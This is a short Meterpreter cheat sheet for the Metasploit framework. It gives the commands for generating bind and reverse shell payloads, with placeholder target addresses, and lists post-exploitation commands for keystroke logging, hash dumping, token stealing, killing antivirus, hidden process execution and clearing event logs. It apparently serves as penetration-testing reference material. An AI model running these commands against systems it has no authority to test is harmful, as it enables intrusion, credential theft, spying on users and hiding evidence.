

Meterpreter Cheat Sheet

version: 0.1

Executing Meterpreter

As a Metasploit Exploit Payload (bind_tcp) for bind shell or (reverse_tcp) for reverse shell

As Standalone binary to be uploaded and executed on the target system:

.msfpayload windows/meterpreter/bind_tcp LPORT=443 X > meterpreter.exe (Bind Shell)

.msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 RHOST=<IP>

.msfpayload windows/meterpreter/reverse_tcp RHOST=<IP> RPORT=443 X > meterpreter.exe (Reverse Shell)

.msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LPORT=443 E

User Interface Commands

meterpreter> idletime

Displays how much time the user is inactive

meterpreter> keyscan_start

Starts recording user key typing

meterpreter>keyscan_dump

Dumps the user's key strokes

meterpreter> keyscan_stop

Stops recording user typing

Core Commands

meterpreter> background

Puts the Meterpreter session in background mode. Session could be recovered typing:

sessions -l (to identify session ID)

sessions -i <Session ID>

meterpreter> irb

Opens meterpreter scripting menu

meterpreter> use <library>

Permits loading extra meterpreter functionalities with the following loadable libraries:

espia

Allows Desktop spying through screenshots

incognito

Allows user impersonation sort of commands

priv

Allows filesystem and hash dumping commands

sniffer

Allows network sniffing interaction commands

meterpreter> run <script>

Permits the execution of ruby selfdeveloped meterpreter scripts such:

checkvm

killav

credcollect

metsvc

get_local_subnets

migrate

getcountermeasure

netenum

getgui

prefetchtool

gettelnet

vnc_oneport / vnc

hashdump

sheduleme

keylogrecorder

winenum

File System Commands

meterpreter> getwd

Obtain current working directory on Server's Side

meterpreter> getlwd

Obtain local current working directory

meterpreter> del <file>

Deletes the given file

meterpreter> cat <file>

Read the given file

meterpreter> edit <file>

Edit the given file

meterpreter> upload <src file> <dst file>

Upload a file to the target host

meterpreter> download <src file> <dst file>

Download a file from the target host

Networking Commands

meterpreter> portfwd

Establish port forwarding connections through meterpreter tunnels:

Options:

- L Local host to listen on
- l Local port to listen on
- p Remote port to connect to
- r Remote host to connect to

System Commands

meterpreter> sysinfo

Provides information about target host

meterpreter> getuid

Obtain the username responsible for the current process

meterpreter> kill <pid>

Kill the given process identified by PID

meterpreter> ps

List all running processes

meterpreter> shell

Obtain interactive windows OS Shell

meterpreter> execute -f file [Options]

Execute the given "file" on the OS target host.

Options:

- H Create the process hidden from view
- a Arguments to pass to the command
- i Interact with the process after creating it
- m Execute from memory
- t Execute process with currently impersonated thread token

meterpreter> clearav

Clears and securely removes event logs

meterpreter> steal_token

Attempts to steal an impersonation token from the target process

meterpreter> reg <Command> [Options]

Interact with the target OS Windows Registry using the following options and commands:

commands:

- enumkey Enumerate the supplied registry key
- createkey / deletekey Create/delete the supplied registry key
- setval / queryval Set/query values from the supplied registry key

Options:

- d Data to store in the registry value
- k The registry key
- v The registry value name

meterpreter> ipconfig

Displays network interfaces information

meterpreter> route

View and modify networking routing table